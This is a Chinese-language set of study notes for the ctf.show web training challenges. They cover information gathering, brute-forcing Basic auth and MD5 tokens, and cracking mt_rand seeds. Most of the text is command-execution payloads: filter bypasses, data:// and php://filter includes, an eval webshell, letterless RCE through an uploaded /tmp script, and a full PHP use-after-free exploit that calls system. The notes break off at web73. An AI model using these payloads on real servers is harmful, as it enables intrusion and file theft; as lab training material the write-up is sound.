WEB入门

信息收集

web05

phps泄露,phps存放着php源码,可通过尝试访问/index.phps读取,或者尝试扫描工具扫描读取。

web10

flag信息藏在dns记录里面,使用命令

域名查询

web12

  • 有时候访问路径在*/robots.txt*里面

  • 常见的管理员页面路径:

    • /admin.php
    • /admin

web13

题目提示了要查看文档,f12粗略看了一下,没什么线索。

通过dirsearch也扫不到,看了一下提示,说是要查看网页源代码,然后查找一下document关键字,果然发现了个document.pdf。

web14

看了半天源码也没看到什么东西,看了一下robots.txt也没有,再用dirsearch扫一下,发现有个editor目录,访问链接发现了一个编辑器。

然后利用编辑器上传的功能,发现flag文件editor/attached/file/var/www/html/nothinghere/fl000g.txt

最后访问**/nothinghere/fl000g.txt**即可

web15

要有社工的意识,有邮箱的信息就可以去查其他信息。

web16

php探针是用来探测空间、服务器运行状况和PHP信息用的,探针可以实时查看服务器硬盘资源、内存占用、网卡 流量、系统负载、服务器时间等信息。 url后缀名添加/tz.php 版本是雅黑PHP探针,然后查看phpinfo搜索flag

  • chrome的wappalyzer可以查看网页的框架和语言,可以发现是php

web20

  • access数据库在/db/db.mdb

爆破

web21

BurpSuit可以有多种做法:

我们随便输入账号密码抓包时候发现Authorization中是以base64进行加密的,解密为admin:123,可能这样还比较难看出来,可以把密码加长一点试试看。

1
2
3
4
5
6
7
8
9
10
GET / HTTP/1.1
Host: 02cc98c2-f4b7-41b3-8b16-7b9a96655edb.challenge.ctf.show
Cache-Control: max-age=0
Authorization: Basic YWRtaW46MTIz
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
  • 第一种,账号密码分开。

    1
    Authorization: Basic §§§§

    image-20230423162915401

image-20230423162935303

第二个位置加入密码本,然后其他同理。

image-20230423162626843

  • 方法二:可以直接保留admin:的base64编码,然后放在payload前面

    1
    Authorization: Basic YWRtaW46§§

​ 因此,只需要一个simple list即可

  • 方法三:我们还可以使用payload type = Custom iterator构造三次参数
    • 第一次输入admin
    • 第二次输入:
    • 第三次密码字典

web22

子域名爆破

web23

阅读php源码,然后写python脚本

  • MD5加密:产生出一个128位(16字节)的散列值(hash value),用于确保信息传输完整一致。生成结果是固定的128字节,通常用一个32位的16进制字符串表示。
  • PHP:substr()、intval()、以及代码分析

第一种方式,字母加数字组合

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
import hashlib
s = "abcdefghijklmnopqrstuvwxyz0123456789"
url = 'http://7f0d474e-c019-4af7-8f95-b02664aa0411.challenge.ctf.show/'
for i in s:
for j in s:
k = (str(i)+str(j)).encode('utf-8') # python3中必须进行utf-8编码
token = hashlib.md5(k).hexdigest()
if token[1] == token[14] and token[14] == token[17]:
try:
left = int(int(token[1])+int(token[14])+int(token[17])/int(token[1]))
right = int(token[31])
if left == right:
print(requests.get(url+f'/?token={str(i)+str(j)}').text)
except:
continue

第二种方式,纯数字

1
2
3
4
5
6
7
8
9
10
11
12
13
14
url = 'http://61535773-6957-4813-b084-0451f6607922.challenge.ctf.show/'

for j in range(0,100000):
k = str(j).encode('utf-8') # python3中必须进行utf-8编码
token = hashlib.md5(k).hexdigest()
if token[1] == token[14] and token[14] == token[17]:
try:
left = int(int(token[1])+int(token[14])+int(token[17])/int(token[1]))
right = int(token[31])
if left == right:
print(j)
print(requests.get(url+f'/?token={j}').text)
except:
continue

web25

  • 和上一题一样,都是利用php随机数的爆破攻击,但是本题没有给种子,因此需要需要使用工具 php_mt_seed 。专门用来跑mt_srand()种子和 mt_rand()随机数。

    img

    1
    2
    3
    4
    种子涉及到flag,不能直接求到
    if((!$rand)) 要使这个为真,就要让 $rand=0
    $rand = intval($r)-intval(mt_rand())
    所以要得到随机数才能构造 $r=$mt_rand() 。

    先传参/?r=0获取生成随机数的负值。

    再进行./php_mt_seed 随机数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    <?php

    mt_srand(1267174464);

    echo mt_rand().'<br>';

    $token=mt_rand()+mt_rand();

    echo $token;

    ?>

    把r=1267174464和token放到cookie中传入,即可获取flag。

web28

  • 一开始三个位置一起爆破,没成功,看网上wp

    如果修改最后的2.txt会被无限重定向,不删除2.txt只修改前面的0和1依旧会被无限重定向。

  • 因此删掉最后2.txt,用集束炸弹模式爆破前两个数字即可。

命令执行

命令执行方法汇总

但是假如我们并不知道flag在哪里呢?
新手可以等文件包含部分学过来再学。 我们通过响应头,发现是nginx,默认nginx日志文件在/var/log/nginx/access.log 结合这里的include,构造如下语句,也可以尝试先/etc/passwd,确认的确可以包含。 http://dfa0bafe-3571-4a4a-9f0a-3766fb5a0a69.challenge.ctf.show/?c=include$_GET[a\]?%3E&a=../../../../var/log/nginx/access.log

1
2
3
isset() #是PHP中一个常用的函数,用于检查变量是否已经被设置并且非 NULL。如果给定的变量存在且其值不为 NULL,则返回 true,否则返回 false
preg_match() #是PHP中用于执行正则表达式匹配的函数,它可以在给定的字符串中查找模式匹配,如果匹配成功,返回 1,否则返回 0。该函数需要传入两个参数:正则表达式模式和要搜索的字符串。还可以传递第三个参数,将匹配结果存储到其中。
eval() #函数用于将字符串作为PHP代码执行。在执行时,该函数将传递的字符串作为 PHP 代码来执行。

因为我们传入的参数能被当作php代码执行,则我们使用一些系统指令:

1
?c=system('ls');
  • tac可以直接看到,cat需要在f12源码里面看

空格可以用tab%09来绕过

< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS、$IFS$1

对于;的过滤可以使用?>

%0a 换行符代替 ;

  • 方法一:拼接

    1
    2
    3
    4
    5
    6
    7
    8
    9
    # url编码后使用%5c添加到flag中
    /?c=system(%27cat%20fl%5cag%2Ephp%27);
    # url编码后使用$9添加到flag中
    /?c=system(%27cat%20fl$9ag%2Ephp%27);
    # 还可以使用''和""来拼接flag 例如 fl''ag (编不编码都试试看)
    /?c=system(%27cat%20fl%22%22ag%2Ephp%27);
    # 使用特殊符号$@
    /?c=system(%27cat%20fl$@ag%2Ephp%27);
    # 过滤cat后也可以通过加斜杠达到绕过的方法 ca\t
  • 方法二:使用通配符

    1
    2
    3
    4
    5
    6
    # 使用* cat fla*
    /?c=system(%27cat%20fla*%27);
    # 使用? cat fla?.php
    /?c=system(%27cat%20fla%3F%2Ephp%27);
    # ?可以出现任意次
    /?c=system(%27tac%20fla?.???%27);
  • 方法三:使用反引号

    • 反引号的作用就是将反引号内的Linux命令先执行,然后将执行结果赋予变量。
    • '' 符号并不会影响命令的执行,所以我们可以插入这些符号来绕过。在linux中可以使用 ’ 来绕过,比如 fl’’ag 就等效于 flag。
    • echo `` 和 system(‘’) 等价
    1
    2
    3
    4
    5
    /?c=echo%20`tac%20fl%27%27ag.php`;
    # nl 命令:Linux中nl命令和cat命令很像,不过nl命令会打上行号,nl没有回显,需要f12查看源代码
    /?c=echo `nl fl?g.php`;
    # 此外也可以用''来绕过过滤
    echo `nl fl''ag.p''hp`;
  • 方法四:复制大法

    1
    2
    3
    4
    5
    6
    # cp fla* 1.txt,然后访问目录下的1.txt即可
    ?c=system(%27cp%20fla*%201.txt%27);
    # 同理,如果屏蔽system,也可以使用exec
    ?c=exec(%27cp%20fla*%201.txt%27);
    # 同理还有passthru
    /?c=passthru(%27cp%20fla*%201.txt%27);
  • 方法五:利用参数输入+eval

    • 由于系统只会检测$c中的内容,则我们通过eval()函数构造参数1巧妙绕过
    1
    2
    # ?c=eval($_GET[1]);&1=system('tac flag.php');
    /?c=eval($_GET[1]);&1=system(%27tac%20flag.php%27);
  • 方法六:文件包含

    • 使用include将1包含进来,1再使用php伪协议使用PHP内部设置的过滤器,将flag.php文件读取并以base64编码的格式返回
    1
    2
    3
    4
    5
    6
    7
    8
    # 其中$_GET也可以改成$_REQUEST
    ?c=include$_GET[1];&1=php://filter/read=convert.base64-encode/resource=flag.php

    ?c=require $_GET[1];&1=php://filter/convert.base64-encode/resource=flag.php

    $_GET[a];&a=data://text/plain,<?php system("cat flag.php");?>

    $_GET[a];&a=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
  • 方法七:一句话木马

    1
    ?c=eval($_POST[1]);
  • 方法八:

    localeconv() 函数返回一包含本地数字及货币格式信息的数组。
    pos() 函数返回数组中当前元素(指针指向)的值。
    scandir() 函数返回指定目录中的文件和数组。
    array_reverse() 将数组倒序输出。
    next() 将指针指向数组的下一个元素并输出。
    show_source() 对文件进行语法高亮显示,是highlight_file()别名。

    1
    2
    3
    4
    ?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
    # 等价
    ?c=show_source(next(array_reverse(scandir(getcwd()))));
    # 其中show_source可以换成highlight_file和readfile

    所以,语句的步骤是
    先拿到一个.==》localeconv() pos()

    接着扫描.目录,即当前目录==》scandir()

    将扫描完的目录倒叙=》array_reverse(),因为正序第一第二分别是: . ..

    将倒序完毕的数组的第二个元素输出==》next()

    ​ - 因为目录的顺序分别是. .. flag.php index.php因此我们倒序后第二个是flag.php

    打印文件信息==》show_source()

  • 方法九:

    RCE

    • 可以通过

      • $_GET
      • $_POST
      • $_FILES
      • $_COOKIE

      ?c=eval(end(current(get_defined_vars())));&a=system("cat flag.php");

web37

  • 知识点

    • 考察data协议
  • data伪协议:将后面的字符当做PHP代码执行

    data://,类似php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。

    ?c=data://text/plain;base64,[base64_encode_shell]

    看源代码,因为flag.php注释注释了flag,所以看不见,需要查看源代码也可以使用tac来读取,破坏php的注释规则,就可以直接在页面上看见flag了

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    <?php

    /*
    # -*- coding: utf-8 -*-
    # @Author: h1xa
    # @Date: 2020-09-04 00:12:34
    # @Last Modified by: h1xa
    # @Last Modified time: 2020-09-04 05:18:55
    # @email: h1xa@ctfer.com
    # @link: https://ctfer.com
    */

    //flag in flag.php
    error_reporting(0);
    if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
    include($c);
    echo $flag;

    }

    }else{
    highlight_file(__FILE__);
    }
    • 题解
    1
    2
    #<?php system('cat flag.php');?>
    /?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

web41

这个题过滤了$、+、-、^、~使得异或自增和取反构造字符都无法使用,同时过滤了字母和数字。但是特意留了个或运算符|
我们可以尝试从ascii为0-255的字符中,找到或运算能得到我们可用的字符的字符。

从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# 生成可用字符的集合
# rce_or.php
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# -*- coding: utf-8 -*-

"""
@Author disda
@Date 2023/4/26 18:56
@Describe
@Dependency
@Version 1.0
"""
import re
import urllib
from urllib import parse


with open('rce_or.txt','w') as f:
for i in range(256):
for j in range(256):
# 题目的正则表达式
pattern = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'
# 如果当前外层循环元素被过滤了,直接跳过所有内层循环
if re.search(pattern, chr(i)):
break
# 如果当前内层循环元素被过滤了,跳过该元素
if re.search(pattern, chr(j)):
continue
# [2:]是因为python中hex表示是0xff这样的形式,去掉前面的0x,组成2位url编码
hex_i = "0" + hex(i)[2:] if i < 16 else hex(i)[2:]
hex_j = "0" + hex(j)[2:] if j < 16 else hex(j)[2:]
# url编码的方式和ASCII码一样,但需要在前面加上%
url_i = '%' + hex_i
url_j = '%' + hex_j
# c是我们要构造的参数,比如说我们要传ls命令,l就要拆分成a|b,其中|是因为题目没有过滤|,我们可以修改成其他任意操作
c = ord(urllib.parse.unquote(url_i)) | ord(urllib.parse.unquote(url_j))
# 如果c是可见的字符
if c >=32 and c<=126:
f.write(chr(c)+" "+url_i+" "+url_j+'\n')


然后输入python exp.py http://403c8935-1b28-4410-8d96-512661e9649f.challenge.ctf.show/

1
2
[+] your function:system
[+] your command:cat flag.php

即可获取flag

代码解析,我们也可以利用ChatGPT为我们分析代码,然后debug看看怎么运行的。

命令截断

我们看一眼题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 20:51:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}

它意思是将命令全输出到**/dev/null**中,同时错误信息流也会被重定向到正确信息流中。

  • Linux系统支持的管道符如下:
    1. “;”:执行完前面的语句再执行后面的语句。
    2. “|”:显示后面语句的执行结果。
    3. “||”:当前面的语句执行出错时,执行后面的语句。
    4. “&”:两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。
    5. “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。

这道题中我们可以用&&拼接,然后让后面执行的命令重定向到**/dev/null**中即可

  • 我们也可以用截断的方法,让后面重定向不起作用
    • 截断方法 ; , && , %0a,||等等,有很多截断方法
1
2
3
4
5
6
# 需要url编码
/?c=ls&&ls
?c=ls;
?c=ls%0a
?c=tac flag.php;
/?c=ta\c<>fla\g.php%0A

web54

  • 方法一

    • 屏蔽了大多数linux命令,但是我们还可以使用rev

      /?c=rev${IFS}fla?.php

  • 方法二

    • 虽然屏蔽了很多命令,但是我们只需在bin目录让命令补全就可以了

      1
      2
      /bin/?at${IFS}f???????
      /bin/c??${IFS}????????
  • 方法三

    • 修改flag的名字,然后直接访问网页
    1
    2
    ?c=mv${IFS}fla?.php${IFS}t.txt
    t.txt

web55

1
2
3
4
5
6
7
8
9
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
  • 方法一

    • 这题禁用了 字母 a-z ,那么我可以用 /bin/base64 flag.php

      加上通配符 则为 /???/????64 ????.??? 然后他就会出现 flag.php内容的base64编码

  • 方法二:

    • 还有一种做法,就是使用 /usr/bin/bzip2 进行对文件的压缩

      同样是使用通配符进行payload, 然后 最后访问 /flag.php.bz2进行下载压缩包

      ?c=/???/???/????2%20????.???

  • 方法三:

    前提是 题目没有过滤 ? / . (问号,斜杠,点),就可以使用这个方法进行RCE

    无字母数字webshell

    glob通配符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://43546a81-d8c7-4242-a8ea-dde142ff1d80.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

本地访问并抓包,上传1.php 写入

burpsuit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
POST /?c=.%20/???/????????[@-[] HTTP/1.1
Host: 6fcec0ba-d4db-470e-b611-1f5455fea91c.challenge.ctf.show
Connection: close
Content-Length: 319
Cache-Control: max-age=0
sec-ch-ua: ".Not/A)Brand";v="99", "Google Chrome";v="103", "Chromium";v="103"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaq9iIs9BT90tIPe6
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

------WebKitFormBoundaryaq9iIs9BT90tIPe6
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream

##/bin/sh
cat flag.php.bz2
------WebKitFormBoundaryaq9iIs9BT90tIPe6
Content-Disposition: form-data; name="submit"

提交
------WebKitFormBoundaryaq9iIs9BT90tIPe6--

1
2
3
##/bin/sh
cat /var/www/html/flag.php
# 因为上传的文件在tmp目录下

这个目录是/tmp,然后一般网页文件会命名为php??????,后面是随机的字母。所以我们需要规定一个范围[@-[],从@-[就是26个字母

然后关于上传文件的内容。既然要让我们上传的文件能执行我们的内容,所以我们添加内容/bin/sh

因为linux系统下一切皆文件,所以一些个内置程序都是由文件组成的。

/bin目录下存放的都是协议shell脚本的内容,sh就是执行shell脚本,我们可以理解为打开终端。只有打开终端我们再能输入命令对吧

然后我们就可以在文件里面在添加ls,cat等一系列读取文件的命令了。

那么还差最后一步。我们上传了这个文件后那么它是存放在/tmp目录下的某一个文件,但是它只是存放在了那里,并不会被执行。

这时候我们可以时候点命令,而正好题目并没有过滤点命令,点命令就是执行shell脚本

所以我们抓包,然后构造

有概率失败,失败重试即可,因为最后一个字母不一定是大写的,记得修改右上角的port为80,然后https关了

web57

1
2
3
4
5
6
7
8
9
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}

可以看到题目告诉我们flag再36.php文件里面,并且system函数已经包含了cat和php

也就是说只要我们传参一个36就可以

但是数字被过滤掉了

这时候就要用到一个linux里面的关于$的特性

$(())代表算数运算,举个栗子:a=1,b=2

$a+$b就等同于$((1+2))

然后因为题目无法传递数字,所以我们还需要用到取反运算

下面我在红帽下面演示一下这个步骤

首先要知道的是当$(())没有参数时。默认为0

所以其实说到这里大家也都直到了,0的取反为-1,然后只要一直这样相加再取反就能得到36(因为题目过滤了乘号,没有过滤加号)

1
2
3
4
5
6
7
8
9
10
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))))))
# ${_} ="" //返回上一次命令
$((${_}))=0
$((~$((${_}))))=-1
$((~$(())~$(()))) = -1-1=-2

也可以用python构造

1
2
data = "$((~$(("+"$((~$(())))"*37+"))))"
print(data)

web58

···

1
2
3
4
include($filename); // 非php代码
include_once($filename); // 非php代码
require($filename); // 非php代码
require_once($filename); // 非php代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
//一般情况下我们先要获取当前目录,然后读取文件内容
c=show_source(next(array_reverse(scandir("."))));  // .为当前目录,..为上级目录,scandir(".")读出的数组为 .. . flag.php index.php
c=highlight_file(next(array_reverse(scandir("."))));
c=show_source(pos(glob("*")));  //glob("*")读出数组为 flag.php index.php

//这里我们知道 /var/www/html/ 目录中只有 index.php 和 flag.php 两个文件,因此直接读取flag.php
//直接读取文件内容
c=highlight_file('flag.php');
c=show_source('falg.php');
c=readfile('flag.php');

//先读取,再输出,下列需要右击查看源代码
c=echo file_get_contents('flag.php');
c=print_r(file('flag.php'));
c=print_r(file_get_contents('flag.php'));
c=print_r(readfile('flag.php'));
c=print_r(php_strip_whitespace('flag.php'));
c=print_r(fgets(fopen('flag.php', "r"))); // 读取一行
c=print_r(fgetcsv(fopen('flag.php',"r"), 1000));// 读取一行
c=print_r(fscanf(fopen("flag.php", "r"),"%s"));// 读取一行
c=print_r(fgetss(fopen('flag.php', "r"))); // 从文件指针中读取一行并过滤掉 HTML 标记
print_r(parse_ini_file('flag.php')); // 失败时返回 false , 成功返回配置数组

//需要先打开文件,再读取内容,最后输出
c=fpassthru(fopen('flag.php','r'));
c=print_r(fread(fopen('flag.php','r'),1000));

//文件包含,后面var_dump(get_defined_vars());可以不写
c=include('flag.php');var_dump(get_defined_vars());
c=include_once('flag.php');var_dump(get_defined_vars());
c=require_once('flag.php');var_dump(get_defined_vars());
c=require('flag.php');var_dump(get_defined_vars());
# 可以用var_export代替var_dump
var_export(require('/flag.txt'));
# 查看文件
var_dump(scandir('/'));

c=highlight_file("/".pos(array_slice(scandir('/'),6,1)));  //这里提供一种思路,当flag被屏蔽时,php不支持通配符,sql支持

//文件包含传递伪协议
POST
c=include $_GET[1];
GET
1=php://filter/read=convert.base64-encode/resource=flag.php

POST /?1=php://filter/read=convert.base64-encode/resource=flag.php HTTP/1.1
Host: eb8e8295-2ab7-4522-9c27-d7d70b69c967.challenge.ctf.show
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 19

c=include $_GET[1];
  • POST请求要加上

    Content-Type: application/x-www-form-urlencoded

或者用蚁剑直连

web71

  • 在代码执行结束后如果想跳过其余部分,可以使用exit();或者die()方法退出

web72

尝试读取根目录,但是失败了:

1
c=$d=opendir("/");while(false!==($f=readdir($d))){echo"$f\n";};exit();
  • 这题需要用glob协议读取根目录,然后利用uaf脚本命令执行。
1
2
3
4
5
6
7
8
$a="glob:// /*.txt";                         //glob:///*.txt应该连起来写,中间空了一下只是方便理解
if($b=opendir($a)){
while(($file=readdir($b))!==false){
echo "filename:".$file."\n";
}
closedir($b);
}
exit();

Payload构造

c=$a="glob:///*.txt";if($b=opendir($a)){while(($file=readdir($b))!==false){echo "filename:".$file."\n";}closedir($b);}exit();

发现flag0.txt文件

但是由于open_basedir的限制,还是不可以直接include进来,需要想其它的办法。使用UAF。脚本如下:记得要把c=之后的内容url编码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
c=function ctfshow($cmd) {
global $abc, $helper, $backtrace;

class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}

class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) {

$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

function trigger_uaf($arg) {

$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

write($abc, 0x60, 2);
write($abc, 0x70, 6);

write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}


$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);

($helper->b)($cmd);
exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
#需要通过url编码哦

web73

先读取目录

1
2
3
4
5
6
7
